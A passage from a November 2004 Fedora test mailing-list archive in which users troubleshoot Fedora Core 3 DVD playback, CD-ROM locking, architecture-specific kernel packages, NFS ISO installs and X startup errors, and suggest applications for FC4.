In-Reply-To: <4197D8AF.2010102@comcast.net> References: <41979087.70006@earthlink.net> <1100468769.5866.6.camel@mercury> <1100470076.9286.0.camel@localhost.localdomain> <4197D8AF.2010102@comcast.net> Message-ID: <1100473627.9333.3.camel@localhost.localdomain> I just installed it via apt-get. I think it works OK. On Sun, 2004-11-14 at 17:14 -0500, Jim Martin wrote: > Kim Lux wrote: > > >Could you test that under KDE and report back ? > > > >On Sun, 2004-11-14 at 15:46 -0600, Timothy Sandel wrote: > > > > > >>On Sun, 2004-11-14 at 11:06 -0600, Diahron Grismore wrote: > >> > >> > >>>I found out that when you install the Xine programs it only works > >>>properly if you use it under the KDE! I'm using the latest Fedora. For > >>>some reason if I try to play a DVD under the default (Gnome) GUI, Xine > >>>will not work properly at all. Changing to the KDE gui makes > >>>everything work flawlessly. > >>> > >>> > >>> > >>I use Xine 0.99.2 (install xine-ui from source), Mplayer 1.0-0.11.pre5 > >>and VLC 0.7.2 without any issues under FC3/Gnome. > >> > >> > >> > >> > For what it is worth, I installed mplayer with apt-get and it plays my > dvd's just fine, no problems, and I am in KDE. > > BaVinic > -- Kim Lux (Mr.) Diesel Research Inc From no-reply-gw at fcp.homelinux.org Sun Nov 14 22:18:25 2004 From: no-reply-gw at fcp.homelinux.org (=?iso-8859-1?B?SGFyYWxkIEhveWVyIChzbGFzaCk=?=) Date: Sun, 14 Nov 2004 23:18:25 +0100 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100458232.3743.3.camel@localhost.localdomain> Message-ID: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> Maybe cdparanoia should open the cdrom device with O_EXCL and hal also... -- This is an email sent via the webforum on http://fcp.homelinux.org From lux at diesel-research.com Sun Nov 14 23:16:59 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 16:16:59 -0700 Subject: Playing DVD's In-Reply-To: <1100473627.9333.3.camel@localhost.localdomain> References: <41979087.70006@earthlink.net> <1100468769.5866.6.camel@mercury> <1100470076.9286.0.camel@localhost.localdomain> <4197D8AF.2010102@comcast.net> <1100473627.9333.3.camel@localhost.localdomain> Message-ID: <1100474219.9700.3.camel@localhost.localdomain> I get an error when playing a DVD with mplayer: alsa-control: mixer attach /dev/mixer error no such file or directory. It thinks that /dev/mixer isn't available. ls -al /dev/mixer crw------- 1 root 14, 0 Nov 14 04:23 /dev/mixer However: alsamixer runs just fine. It turns out the video sound was disabled. I ran kmix and enabled video as an input and everything worked fine. -- Kim Lux (Mr.) Diesel Research Inc From david at fubar.dk Sun Nov 14 23:43:07 2004 From: david at fubar.dk (David Zeuthen) Date: Sun, 14 Nov 2004 18:43:07 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> References: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> Message-ID: <1100475787.4401.0.camel@davidz> On Sun, 2004-11-14 at 23:18 +0100, Harald Hoyer (slash) wrote: > Maybe cdparanoia should open the cdrom device with O_EXCL and hal also... > hal already uses O_EXCL for opening the device node when it comes to optical drives. It is a bug in cdparanoia if it doesn't. Cheers, David From lux at diesel-research.com Mon Nov 15 00:18:44 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 17:18:44 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100475787.4401.0.camel@davidz> References: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> <1100475787.4401.0.camel@davidz> Message-ID: <1100477924.3807.0.camel@localhost.localdomain> There are errors just opening the device, before cdparanoia is ever used. On Sun, 2004-11-14 at 18:43 -0500, David Zeuthen wrote: > On Sun, 2004-11-14 at 23:18 +0100, Harald Hoyer (slash) wrote: > > Maybe cdparanoia should open the cdrom device with O_EXCL and hal also... > > > > hal already uses O_EXCL for opening the device node when it comes to > optical drives. It is a bug in cdparanoia if it doesn't. > > Cheers, > David > > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 00:23:23 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 17:23:23 -0700 Subject: Need to force arch for server install... Message-ID: <1100478203.3807.8.camel@localhost.localdomain> I need to build an FC3 server. We use removable hard drives. I'll do the install on an AMD 2.8 machine. In a couple months we'll probably pull the drive and run it on a PII-300 because the work load on it will drop dramatically. Does anyone see a problem doing this ? How do I force the install on the AMD machine to be suitable for the PII machine, ie --arch=i586 ? Thanks in advance. -- Kim Lux (Mr.) Diesel Research Inc From timothy at jupiter.stcl.edu Mon Nov 15 00:25:33 2004 From: timothy at jupiter.stcl.edu (Timothy Sandel) Date: Sun, 14 Nov 2004 18:25:33 -0600 Subject: Playing DVD's In-Reply-To: <1100470076.9286.0.camel@localhost.localdomain> References: <41979087.70006@earthlink.net> <1100468769.5866.6.camel@mercury> <1100470076.9286.0.camel@localhost.localdomain> Message-ID: <1100478333.3435.3.camel@mercury> On Sun, 2004-11-14 at 15:07 -0700, Kim Lux wrote: > Could you test that under KDE and report back ? > Xine and mplayer worked fine. vlc blew up with a sound issue. I did not dig into the vlc issue since I don't regularly use KDE. If there's an interest I'll test vlc further. Timothy From fct-cornette at insight.rr.com Mon Nov 15 00:29:52 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Sun, 14 Nov 2004 19:29:52 -0500 Subject: Features for FC4 In-Reply-To: References: <200411122335.28597.jeffy5@optonline.net> <1100457657.3612.8.camel@localhost.localdomain> Message-ID: <4197F880.7020004@insight.rr.com> joelbryan wrote: > In the anaconda installer for grub, it says "DOS" for Microsoft > Windows, and "Fedora Core" for Linux. Is there's a way to detect the > foreign OS so it would not end up saying "DOS" as a label. > You can edit the label during initial installation. Mine said Other with no changes made to the label during installation. Highlight the DOS installation, then choose edit and change it to whatever you wish. XP, W2K, dozer or whatever you wish to call your other installation. In my view, for grub to detect the specific OS type would be a challenge. Maybe if it detects NTFS it could default to NT and if it detects VFAT32, it would default to Windows and FAT16 for DOS. User interaction, instead of depending upon the installer to detect the foreign OS seems like a better selection. Jim From jreiser at BitWagon.com Mon Nov 15 01:01:52 2004 From: jreiser at BitWagon.com (John Reiser) Date: Sun, 14 Nov 2004 17:01:52 -0800 Subject: Need to force arch for server install... In-Reply-To: <1100478203.3807.8.camel@localhost.localdomain> References: <1100478203.3807.8.camel@localhost.localdomain> Message-ID: <41980000.4060400@BitWagon.com> > How do I force the install on the AMD machine to be suitable for the PII > machine, ie --arch=i586 ? A PentiumII certainly qualifies as i686, so forcing i586 is not needed. ["$ grep flags /proc/cpuinfo" containing "cmov" and "cx8" means i686.] By default you may get an operating system kernel that is specialized for 'athlon'. If so, then after the install finishes use rpm to --install the i686 kernel. Boot i686, then rpm --erase the athlon kernel. The kernel is the only .rpm that is specialized for athlon over i686. [glibc is specialized for i686 over i386.] -- From pp at ee.oulu.fi Mon Nov 15 01:06:45 2004 From: pp at ee.oulu.fi (Pekka Pietikainen) Date: Mon, 15 Nov 2004 03:06:45 +0200 Subject: Features for FC4 In-Reply-To: <4197F880.7020004@insight.rr.com> References: <200411122335.28597.jeffy5@optonline.net> <1100457657.3612.8.camel@localhost.localdomain> <4197F880.7020004@insight.rr.com> Message-ID: <20041115010645.GA3869@ee.oulu.fi> On Sun, Nov 14, 2004 at 07:29:52PM -0500, Jim Cornette wrote: > joelbryan wrote: > >In the anaconda installer for grub, it says "DOS" for Microsoft > >Windows, and "Fedora Core" for Linux. Is there's a way to detect the > >foreign OS so it would not end up saying "DOS" as a label. > In my view, for grub to detect the specific OS type would be a > challenge. Maybe if it detects NTFS it could default to NT and if it > detects VFAT32, it would default to Windows and FAT16 for DOS. User "Legacy Proprietary Operating System" would cover them all! ;) -- Pekka Pietikainen From diahron at earthlink.net Mon Nov 15 01:14:00 2004 From: diahron at earthlink.net (Diahron Grismore) Date: Sun, 14 Nov 2004 19:14:00 -0600 Subject: Installing Xine Message-ID: <419802D8.1090905@earthlink.net> I use the source to install Xine. In earlier versions I used the RPM's and they worked fine. After FC3T3 Xine did not install and work properly with RPM's, so I went to source code. I thought it still wasn't working until I changed GUI's from GNOME to KDE. I was getting errors under Gnome, I logged out and logged back in using KDE and it all works. It was also easier to install it into the menus under KDE. Instead of using command line for Xine I installed it into my menu and just click on it from there when I want to watch DVD's. From lux at diesel-research.com Mon Nov 15 01:32:36 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 18:32:36 -0700 Subject: Need to force arch for server install... In-Reply-To: <41980000.4060400@BitWagon.com> References: <1100478203.3807.8.camel@localhost.localdomain> <41980000.4060400@BitWagon.com> Message-ID: <1100482357.4861.2.camel@localhost.localdomain> Thanks, John. Great reply. I didn't know the change could be made after the fact. Lesson: never underestimate Linux ! What if I forced everything to i386 to start with ? Would it then run on every x86 machine ? We use removable hard drives for a lot of things are it would be great if they ran on *everything*. Would an i386 kernel do that ? Would I have to change glibc as well ? On Sun, 2004-11-14 at 17:01 -0800, John Reiser wrote: > > How do I force the install on the AMD machine to be suitable for the PII > > machine, ie --arch=i586 ? > > A PentiumII certainly qualifies as i686, so forcing i586 is not needed. > ["$ grep flags /proc/cpuinfo" containing "cmov" and "cx8" means i686.] > By default you may get an operating system kernel that is specialized > for 'athlon'. If so, then after the install finishes use rpm to > --install the i686 kernel. Boot i686, then rpm --erase the athlon > kernel. The kernel is the only .rpm that is specialized for athlon > over i686. [glibc is specialized for i686 over i386.] > > -- > -- Kim Lux (Mr.) Diesel Research Inc From kfreem02 at comcast.net Mon Nov 15 01:36:30 2004 From: kfreem02 at comcast.net (Kevin Freeman) Date: Sun, 14 Nov 2004 19:36:30 -0600 Subject: Need to force arch for server install... In-Reply-To: <41980000.4060400@BitWagon.com> References: <1100478203.3807.8.camel@localhost.localdomain> <41980000.4060400@BitWagon.com> Message-ID: <1100482590.4696.82.camel@localhost.localdomain> On Sun, 2004-11-14 at 17:01 -0800, John Reiser wrote: > > How do I force the install on the AMD machine to be suitable for the PII > > machine, ie --arch=i586 ? > > A PentiumII certainly qualifies as i686, so forcing i586 is not needed. > ["$ grep flags /proc/cpuinfo" containing "cmov" and "cx8" means i686.] > By default you may get an operating system kernel that is specialized > for 'athlon'. If so, then after the install finishes use rpm to > --install the i686 kernel. Boot i686, then rpm --erase the athlon > kernel. The kernel is the only .rpm that is specialized for athlon > over i686. [glibc is specialized for i686 over i386.] Fedora no longer ships athlon-specific kernels. The 2.6 kernel selects optimal subroutines at runtime, and the Fedora kernel maintainers feel that any additional benefit gained from an athlon-specific compile is so small that it is not worth the additional maintenance headache. Kevin Freeman From maze at cela.pl Mon Nov 15 01:53:59 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Mon, 15 Nov 2004 02:53:59 +0100 (CET) Subject: Need to force arch for server install... In-Reply-To: <1100482357.4861.2.camel@localhost.localdomain> References: <1100478203.3807.8.camel@localhost.localdomain> <41980000.4060400@BitWagon.com> <1100482357.4861.2.camel@localhost.localdomain> Message-ID: > What if I forced everything to i386 to start with ? Would it then run > on every x86 machine ? > > We use removable hard drives for a lot of things are it would be great > if they ran on *everything*. Would an i386 kernel do that ? Would I > have to change glibc as well ? [root at gaia core]# find -type f | grep "\.rpm\$" | grep -v "\.noarch\.rpm\$" | grep -v "\.i386\.rpm\$" ./3/i386/os/Fedora/RPMS/glibc-2.3.3-74.i686.rpm ./3/i386/os/Fedora/RPMS/nptl-devel-2.3.3-74.i686.rpm ./3/i386/os/Fedora/RPMS/kernel-2.6.9-1.667.i586.rpm ./3/i386/os/Fedora/RPMS/kernel-2.6.9-1.667.i686.rpm ./3/i386/os/Fedora/RPMS/kernel-smp-2.6.9-1.667.i586.rpm ./3/i386/os/Fedora/RPMS/kernel-smp-2.6.9-1.667.i686.rpm ./3/i386/os/Fedora/RPMS/openssl-0.9.7a-40.i686.rpm So basically only the kernel, the glibc and the openssl packages are not noarch or i386. Replacing those with the generic i386 packages would (most likely) suffice. No idea why the nptl-devel package has an i686 version. I also fail to see any athlon packages (kernel or otherwise)... Cheers, MaZe. From lux at diesel-research.com Mon Nov 15 01:59:09 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 18:59:09 -0700 Subject: Need to force arch for server install... In-Reply-To: <1100482590.4696.82.camel@localhost.localdomain> References: <1100478203.3807.8.camel@localhost.localdomain> <41980000.4060400@BitWagon.com> <1100482590.4696.82.camel@localhost.localdomain> Message-ID: <1100483949.5451.1.camel@localhost.localdomain> The more I use Linux and the more I learn about it the more I love it. It is such a deep and powerful OS. It doesn't seem like there is any limit to what you can do with it. It is simply amazing. On Sun, 2004-11-14 at 19:36 -0600, Kevin Freeman wrote: > Fedora no longer ships athlon-specific kernels. The 2.6 kernel > selects > optimal subroutines at runtime, and the Fedora kernel maintainers feel > that any additional benefit gained from an athlon-specific compile is > so > small that it is not worth the additional maintenance headache. > > Kevin Freeman -- Kim Lux (Mr.) Diesel Research Inc From kfreem02 at comcast.net Mon Nov 15 02:00:45 2004 From: kfreem02 at comcast.net (Kevin Freeman) Date: Sun, 14 Nov 2004 20:00:45 -0600 Subject: Need to force arch for server install... In-Reply-To: <1100482357.4861.2.camel@localhost.localdomain> References: <1100478203.3807.8.camel@localhost.localdomain> <41980000.4060400@BitWagon.com> <1100482357.4861.2.camel@localhost.localdomain> Message-ID: <1100484045.4696.102.camel@localhost.localdomain> On Sun, 2004-11-14 at 18:32 -0700, Kim Lux wrote: > Thanks, John. Great reply. I didn't know the change could be made > after the fact. Lesson: never underestimate Linux ! > > What if I forced everything to i386 to start with ? Would it then run > on every x86 machine ? > > We use removable hard drives for a lot of things are it would be great > if they ran on *everything*. Would an i386 kernel do that ? Would I > have to change glibc as well ? kernel, glibc and openssl are the only (as far as I know) packages that are supplied in i686-optimized form. However, to create a "runs on everything" installation I would perform the install on one of the actual low-end machines. That would ensure no config files have a hidden "Hey, we're running on an i686" flag set. Using this install on newer machines should work without incident. However, the install will not be able to use nptl or any memory copying/clearing tricks that rely on post-i386 processor instructions. Since you mentioned switching to a PII machine, you may want to consider simply keeping the default i686 architecture. Unless my memory has failed, all x86 Intel-brand chips PII and higher are fully compatible with the i686 instruction set. So are all AMD Duron, Athlon, Athlon64 and Sempron. Only some x86-compatible cpus from VIA/Cyrix, etc are not fully compatible with i686 instructions. Unless you use the lesser- known cpus there is no reason to create an i386-only installation. Kevin Freeman From lux at diesel-research.com Mon Nov 15 02:20:30 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 19:20:30 -0700 Subject: FC3 Server: "x" respawning too fast error Message-ID: <1100485230.6075.5.camel@localhost.localdomain> I just installed FC3 server. It first booted up in init level 3. I logged in as root. I ran "init 5" so that I could set a few things up. I am getting the following error message: INIT: Id "x" respawning too fast: disabled for 5 minutes. Computer details: AMD/512 MB RAM/Nvidia/Logitech wireless keyboard and mouse plugged into their respective PS/2 ports. Mouse didn't work during installation. I can't get another session started with ctrl . Any ideas ? Is this an X problem ? Should I move the keyboard and mouse to the USB port ? -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 02:24:12 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 19:24:12 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100475787.4401.0.camel@davidz> References: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> <1100475787.4401.0.camel@davidz> Message-ID: <1100485452.6075.6.camel@localhost.localdomain> FWIW: The CDROM (DVD) drive works perfectly with mplayer. I can play an entire DVD without any problems. On Sun, 2004-11-14 at 18:43 -0500, David Zeuthen wrote: > On Sun, 2004-11-14 at 23:18 +0100, Harald Hoyer (slash) wrote: > > Maybe cdparanoia should open the cdrom device with O_EXCL and hal also... > > > > hal already uses O_EXCL for opening the device node when it comes to > optical drives. It is a bug in cdparanoia if it doesn't. > > Cheers, > David > > -- Kim Lux (Mr.) Diesel Research Inc From e1geo at yahoo.com Mon Nov 15 02:25:48 2004 From: e1geo at yahoo.com (George Hill) Date: Sun, 14 Nov 2004 18:25:48 -0800 (PST) Subject: FC3 NFS install with ISO images does not work Message-ID: <20041115022548.51027.qmail@web53604.mail.yahoo.com> Can you do an NFS install using ISO images with FC3 as you could with FC2? I just tried and it did not work. With FC2, you could boot as linux askmethod, specify NFS, point to an NFS-mountable directory that contained the ISO images, and install. I tried that with FC3 and I get a message saying that it does not look like the directory contains Fedora. When I did a mount -o loop ... the NFS install went fine (until it ran out of stuff to install -- I could only mount one iso image). Anyone else run into this? Thoughts? Thanks, Geo Hill __________________________________ Do you Yahoo!? Check out the new Yahoo! Front Page. www.yahoo.com From joelbryanster at gmail.com Mon Nov 15 02:40:40 2004 From: joelbryanster at gmail.com (joelbryan) Date: Mon, 15 Nov 2004 10:40:40 +0800 Subject: Applications for FC4 Message-ID: This where just mere application request, an open discussion of suggested software hoping to be release for FC4. I got lot' of application request, here are them as follows - Inkscape - A good SVG editor for Gnome, coz it always end up fronting Gimp as a Paint substitute. - BitTorrent - I think there's reasons to include this. - Dr. Python - an IDE for Python. - Anjuta - C/C++ IDE From dag at wieers.com Mon Nov 15 02:50:52 2004 From: dag at wieers.com (Dag Wieers) Date: Mon, 15 Nov 2004 03:50:52 +0100 (CET) Subject: Features for FC4 In-Reply-To: References: <200411122335.28597.jeffy5@optonline.net> <1100457657.3612.8.camel@localhost.localdomain> Message-ID: On Mon, 15 Nov 2004, joelbryan wrote: > In the anaconda installer for grub, it says "DOS" for Microsoft > Windows, and "Fedora Core" for Linux. Is there's a way to detect the > foreign OS so it would not end up saying "DOS" as a label. Could you bugzilla this one as a feature request ? I think everyone would expect a slightly better labeling than just "DOS". -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From scott.aaron at abc.net.au Mon Nov 15 02:52:18 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Mon, 15 Nov 2004 13:52:18 +1100 Subject: Applications for FC4 In-Reply-To: References: Message-ID: <1100487138.22508.107.camel@localhost.localdomain> Definatly Anjuta should be there. Some creative justifications might be required for the inclusion of Bit Torrent on the part of Fedora's legal team considering what most people use it for. It doesn't seem to matter these days that it can be used ( and is used!! ) for non-pirating non-porn activities, it might cause Fedora some greif down the track. Imagine the support request to various mailing list for that! :-D User: I am having trouble with a certain bit torrent. It doesn't work in the Fedora supplied client. Support Person: Can you please send the torrent file for testing. User: Erm....er.....erm I would rather not. Mind you that is just my humble opinion. Avoid trouble where you can. On Mon, 2004-11-15 at 10:40 +0800, joelbryan wrote: > This where just mere application request, an open discussion of > suggested software hoping to be release for FC4. > > I got lot' of application request, here are them as follows > > - Inkscape - A good SVG editor for Gnome, coz it always end up > fronting Gimp as a Paint substitute. > - BitTorrent - I think there's reasons to include this. > - Dr. Python - an IDE for Python. > - Anjuta - C/C++ IDE > -------------- next part -------------- An HTML attachment was scrubbed... URL: From ed at eh3.com Mon Nov 15 02:54:41 2004 From: ed at eh3.com (Ed Hill) Date: Sun, 14 Nov 2004 21:54:41 -0500 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <20041115022548.51027.qmail@web53604.mail.yahoo.com> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> Message-ID: <1100487281.14990.31.camel@localhost.localdomain> On Sun, 2004-11-14 at 18:25 -0800, George Hill wrote: > Can you do an NFS install using ISO images with FC3 as > you could with FC2? I just tried and it did not work. > > With FC2, you could boot as linux askmethod, specify > NFS, point to an NFS-mountable directory that > contained the ISO images, and install. I tried that > with FC3 and I get a message saying that it does not > look like the directory contains Fedora. When I did a > mount -o loop ... the NFS install went fine (until it > ran out of stuff to install -- I could only mount one > iso image). Anyone else run into this? Thoughts? Hi George, The directory layout you want is: Fedora/RPMS/ <= copy all the RPMs from all the CDs Fedora/base/ <= copy the "base" dir from the first CD Ed -- Edward H. Hill III, PhD office: MIT Dept. of EAPS; Rm 54-1424; 77 Massachusetts Ave. Cambridge, MA 02139-4307 emails: eh3 at mit.edu ed at eh3.com URLs: http://web.mit.edu/eh3/ http://eh3.com/ phone: 617-253-0098 fax: 617-253-4464 From temlakos at comcast.net Mon Nov 15 03:13:04 2004 From: temlakos at comcast.net (Temlakos) Date: Sun, 14 Nov 2004 22:13:04 -0500 Subject: Applications for FC4 In-Reply-To: References: Message-ID: <1100488384.4037.7.camel@localhost.localdomain> On Mon, 2004-11-15 at 10:40 +0800, joelbryan wrote: > This where just mere application request, an open discussion of > suggested software hoping to be release for FC4. Definitely Anjuta. I use it myself. And put in postgresql-devel and libpqxx--a full set of libraries and includes for creating client apps for PostgreSQL in C/C++. For that matter, why not include wxGTK and its KDE equivalent? That's GPL, AFAIK. And while you're at it: the OpenOffice SDK. And--oh, yes: the Apache XML-FO processor. (And make sure that the XSL processor installs as part of Linux--I think it does, though. It's never turned up missing--but I always install DocBook stuff, just in case.) And finally: apt and Synaptic. Yes, I know you include yum, and yum saved my bacon lately. But--you can't have too many package managers. A good desktop administrator should include them all: apt, yum, and up2date. What I've just named are the apps that I always go out and bag every time I install Fedora Core on a new machine. Well, not all of them--I haven't named the ones that distribute under their own licenses that are incompatible with the GPL. These include: acroread Java (at least the JRE if not the SDK) mplayer Temlakos From steven.joerger at gmail.com Mon Nov 15 03:16:23 2004 From: steven.joerger at gmail.com (Steven Joerger) Date: Sun, 14 Nov 2004 22:16:23 -0500 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <1100487281.14990.31.camel@localhost.localdomain> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> <1100487281.14990.31.camel@localhost.localdomain> Message-ID: I had this same problem and it was because I had renamed the iso files to what I wanted them to be. After renaming them to the original names this process worked. Steve On Sun, 14 Nov 2004 21:54:41 -0500, Ed Hill wrote: > On Sun, 2004-11-14 at 18:25 -0800, George Hill wrote: > > > > Can you do an NFS install using ISO images with FC3 as > > you could with FC2? I just tried and it did not work. > > > > With FC2, you could boot as linux askmethod, specify > > NFS, point to an NFS-mountable directory that > > contained the ISO images, and install. I tried that > > with FC3 and I get a message saying that it does not > > look like the directory contains Fedora. When I did a > > mount -o loop ... the NFS install went fine (until it > > ran out of stuff to install -- I could only mount one > > iso image). Anyone else run into this? Thoughts? > > Hi George, > > The directory layout you want is: > > Fedora/RPMS/ <= copy all the RPMs from all the CDs > Fedora/base/ <= copy the "base" dir from the first CD > > Ed > > -- > Edward H. Hill III, PhD > office: MIT Dept. of EAPS; Rm 54-1424; 77 Massachusetts Ave. > Cambridge, MA 02139-4307 > emails: eh3 at mit.edu ed at eh3.com > URLs: http://web.mit.edu/eh3/ http://eh3.com/ > phone: 617-253-0098 > fax: 617-253-4464 > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From cochranb at speakeasy.net Mon Nov 15 03:22:06 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Sun, 14 Nov 2004 22:22:06 -0500 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <20041115022548.51027.qmail@web53604.mail.yahoo.com> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> Message-ID: <419820DE.9080901@speakeasy.net> George Hill wrote: >Can you do an NFS install using ISO images with FC3 as >you could with FC2? I just tried and it did not work. > >With FC2, you could boot as linux askmethod, specify >NFS, point to an NFS-mountable directory that >contained the ISO images, and install. I tried that >with FC3 and I get a message saying that it does not >look like the directory contains Fedora. When I did a >mount -o loop ... the NFS install went fine (until it >ran out of stuff to install -- I could only mount one >iso image). Anyone else run into this? Thoughts? >Thanks, > > > This worked fine for me using the x86_64 DVD. In fact my Athlon 3500+ tore right through the installation in record time (about 25 minutes) compared to my Pentium 4 machines. I try to use NFS for all my installs because they finish quickly. And changing CDs gets old fast when I have other things to do. I've also done FC2 installs using VNC. I've forgotten the magic incantation needed to get a vnc install going. Look at the Release Notes for Fedora Core 2 -- it documents how to do it. I'm sure it also works for FC3. Bob > Geo Hill > > > > >__________________________________ >Do you Yahoo!? >Check out the new Yahoo! Front Page. >www.yahoo.com > > > > From lux at diesel-research.com Mon Nov 15 03:41:16 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 20:41:16 -0700 Subject: Applications for FC4 In-Reply-To: <1100488384.4037.7.camel@localhost.localdomain> References: <1100488384.4037.7.camel@localhost.localdomain> Message-ID: <1100490076.7257.0.camel@localhost.localdomain> I think the new kdevelop is better than anjuta. With kdevelop you can import existing projects. I agree with the package manager comments. On Sun, 2004-11-14 at 22:13 -0500, Temlakos wrote: > On Mon, 2004-11-15 at 10:40 +0800, joelbryan wrote: > > This where just mere application request, an open discussion of > > suggested software hoping to be release for FC4. > > Definitely Anjuta. I use it myself. > > And put in postgresql-devel and libpqxx--a full set of libraries and > includes for creating client apps for PostgreSQL in C/C++. > > For that matter, why not include wxGTK and its KDE equivalent? That's > GPL, AFAIK. > > And while you're at it: the OpenOffice SDK. > > And--oh, yes: the Apache XML-FO processor. (And make sure that the XSL > processor installs as part of Linux--I think it does, though. It's never > turned up missing--but I always install DocBook stuff, just in case.) > > And finally: apt and Synaptic. Yes, I know you include yum, and yum > saved my bacon lately. But--you can't have too many package managers. A > good desktop administrator should include them all: apt, yum, and > up2date. > > What I've just named are the apps that I always go out and bag every > time I install Fedora Core on a new machine. Well, not all of them--I > haven't named the ones that distribute under their own licenses that are > incompatible with the GPL. These include: > > acroread > Java (at least the JRE if not the SDK) > mplayer > > Temlakos > > -- Kim Lux (Mr.) Diesel Research Inc From ejprinz at austin.rr.com Mon Nov 15 03:50:48 2004 From: ejprinz at austin.rr.com (Erwin J. Prinz) Date: Sun, 14 Nov 2004 21:50:48 -0600 Subject: Fedora Core 3: Epson Perfection 1650 USB Scanner only recognized as "root" In-Reply-To: <4196869F.70803@austin.rr.com> References: <4196869F.70803@austin.rr.com> Message-ID: <41982798.3090407@austin.rr.com> Another bit of information: The scanner does not have an on/off switch. If I unplug the power and plug it back in, the "hotplug" module changes the permissions to: -rw------- 1 erwin root 50 Nov 14 21:24 004 which means that the scanner works both for the user logged in when the scanner was "power-cycled", and for root. The question then is how one could trigger this permission change while logging in to the local console. Erwin From lux at diesel-research.com Mon Nov 15 03:50:14 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 20:50:14 -0700 Subject: Bad dependencies in FC3 Message-ID: <1100490614.7257.10.camel@localhost.localdomain> I reinstalled FC3 on our server machine to try to get past the init 5 x respawning issue I had. (I suspect that x isn't installed on the server installation and thus trying to run level 5 was a mistake on my part...) Anyway: I installed the personal server setup and logged in. I then used Add/Remove Packages to unselect a bunch of packages that I don't need on the server: games, oofice, multimedia and so forth. When I try to remove oofice, I get: Packages Not Found: The following packages could not be found on your system. Installation cannot continue until they are installed. openoffice.org requ'd by openoffice.org-libs, 1.1.2-10 gnome-media requ'd by gnome-volume-manager 1.1.0-5 gthumb requ'd by ditto libspi.so.0 libgail-gnome, 1.1.0-1 ... There are about 12 packages in the list I am going to run up2date to see if this fixes a few of them. -- Kim Lux (Mr.) Diesel Research Inc From temlakos at comcast.net Mon Nov 15 03:51:11 2004 From: temlakos at comcast.net (Temlakos) Date: Sun, 14 Nov 2004 22:51:11 -0500 Subject: Applications for FC4 In-Reply-To: <1100490076.7257.0.camel@localhost.localdomain> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> Message-ID: <1100490671.6150.7.camel@localhost.localdomain> Well, I'm a Gnome man myself. As long as Fedora distributes with both Gnome and KDE, why not include both Anjuta and kdevelop? (Though I know what you mean about the project-import problem. I tried importing an existing project into a new installation of Anjuta. Finally I created a new project, copied my include and source files into the appropriate directories, and rebuilt the whole thing. Hey--it worked.) I realize that we're likely to expand Fedora Core 4 to fill up all four disks and maybe even break into a fifth disk. But, hey--some distros out there have as many as six. And at the risk of going from the sublime to the ridiculous, why not include a real minimalist desktop, like Ice? And why doesn't Fedora include WINE? One last thing--I have a client whose biggest lament is that he can't get onto AOL except by using a browser. How about reviving the Penggy project to create a proper AOL client? (I already checked: WINE can't run the Windows AOL client. Somebody tried, and it blew up. It's all that stuff that AOL's installer puts into the protocol stack.) Temlakos On Sun, 2004-11-14 at 20:41 -0700, Kim Lux wrote: > I think the new kdevelop is better than anjuta. With kdevelop you can > import existing projects. > > I agree with the package manager comments. From lux at diesel-research.com Mon Nov 15 03:57:40 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 20:57:40 -0700 Subject: Applications for FC4 In-Reply-To: <1100490671.6150.7.camel@localhost.localdomain> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> Message-ID: <1100491060.7580.3.camel@localhost.localdomain> With the advent of inexpensive DVD drives, why do we care how many disks it takes ? I guess the big thing is the required bandwidth for downloading the iso image... I'm playing the role of human cdrom changer at the moment as I upgrade and change the packages on an FC3 installation. I think we'll be upgrading most of our machines to have a cdrw/dvd drive in the near future. One of the worst things about the old cdrom drives is that they won't read a cdrw (nor write one for that matter). On Sun, 2004-11-14 at 22:51 -0500, Temlakos wrote: > Well, I'm a Gnome man myself. As long as Fedora distributes with both > Gnome and KDE, why not include both Anjuta and kdevelop? (Though I know > what you mean about the project-import problem. I tried importing an > existing project into a new installation of Anjuta. Finally I created a > new project, copied my include and source files into the appropriate > directories, and rebuilt the whole thing. Hey--it worked.) > > I realize that we're likely to expand Fedora Core 4 to fill up all four > disks and maybe even break into a fifth disk. But, hey--some distros out > there have as many as six. > > And at the risk of going from the sublime to the ridiculous, why not > include a real 